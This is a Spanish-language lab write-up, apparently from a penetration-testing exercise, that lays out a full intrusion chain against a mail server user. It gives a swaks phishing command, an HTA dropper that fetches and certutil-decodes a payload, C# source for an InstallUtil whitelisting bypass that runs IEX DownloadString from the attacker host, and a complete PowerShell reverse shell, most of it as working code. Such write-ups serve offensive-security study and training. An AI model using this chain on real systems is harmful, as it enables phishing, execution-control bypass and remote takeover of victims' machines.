1

Al revisar la IP expuesta nos encontramos con este panel web junto con los puertos de servidor de correo abiertos.

image.png

Procedemos a enviar un mail de phishing con un enlace hacia un archivo .hta con ejecución de código.

swaks -t [email protected] -f [email protected] --body "I've compiled a list if issues I'm facing with the system, please check them here: <http://192.168.45.181/runner.hta>" --server 192.168.212.159 --header "Subject: Issues with the mail system"

image.png

<html>
<head>
    <title>Updater</title>
    <script language="JScript">
        var shell = new ActiveXObject("WScript.Shell");
        var res = shell.Run(
            'powershell iwr -uri <http://192.168.45.181/enc.txt> -outfile C:\\\\Windows\\\\Tasks\\\\enc7.txt;' +
            'powershell certutil -decode C:\\\\Windows\\\\Tasks\\\\enc7.txt C:\\\\Windows\\\\Tasks\\\\gimme3.exe;' +
            'C:\\\\Windows\\\\Microsoft.NET\\\\Framework64\\\\v4.0.30319\\\\InstallUtil.exe /logfile= /LogToConsole=false /U C:\\\\Windows\\\\Tasks\\\\gimme3.exe'
        );
    </script>
</head>
<body>
    <script language="JScript">
        self.close();
    </script>
</body>
</html>

Como podemos ver el archivo runner.hta lo que ejecuta es una descarga de un archivo, desencriptado con CertUtil.exe y su instalación con InstallUtil.exe.

Para la creación del exe utilizamos el siguiente código.

using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Configuration.Install;

namespace Bypass
{
    class Program
    {
        static void Main(string[] args)
        {
            Console.WriteLine("This is the main method");
        }
    }

    [System.ComponentModel.RunInstaller(true)]
    public class Sample : System.Configuration.Install.Installer
    {
        public override void Uninstall(System.Collections.IDictionary savedState)
        {
            String cmd = "IEX(New-Object Net.WebClient).DownloadString('<http://192.168.45.181/shell.ps1>')";
            Runspace rs = RunspaceFactory.CreateRunspace();
            rs.Open();
            PowerShell ps = PowerShell.Create();
            ps.Runspace = rs;
            ps.AddScript(cmd);
            ps.Invoke();
            rs.Close();
        }
    }
}

Para compilar utilizamos el siguiente comando.

C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe /target:exe /out:Bypass.exe /r:"C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" /r:System.Configuration.Install.dll .\\1.cs

image.png

Para crear el archivo enc.txt se utilizo el siguiente comando.

certutil.exe -encode .\\Bypass.exe enc.txt

image.png

El archivo shell.ps1 es el siguiente.

# Reverse shell PowerShell script
$client = New-Object System.Net.Sockets.TCPClient('192.168.45.181', 443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535 | % {0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);    $sendback = (iex $data 2>&1 | Out-String);    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);    $stream.Write($sendbyte, 0, $sendbyte.Length);    $stream.Flush();};$client.Close()

Una vez hecho eso se envía el correo electronico y recibimos la shell como will.

image.png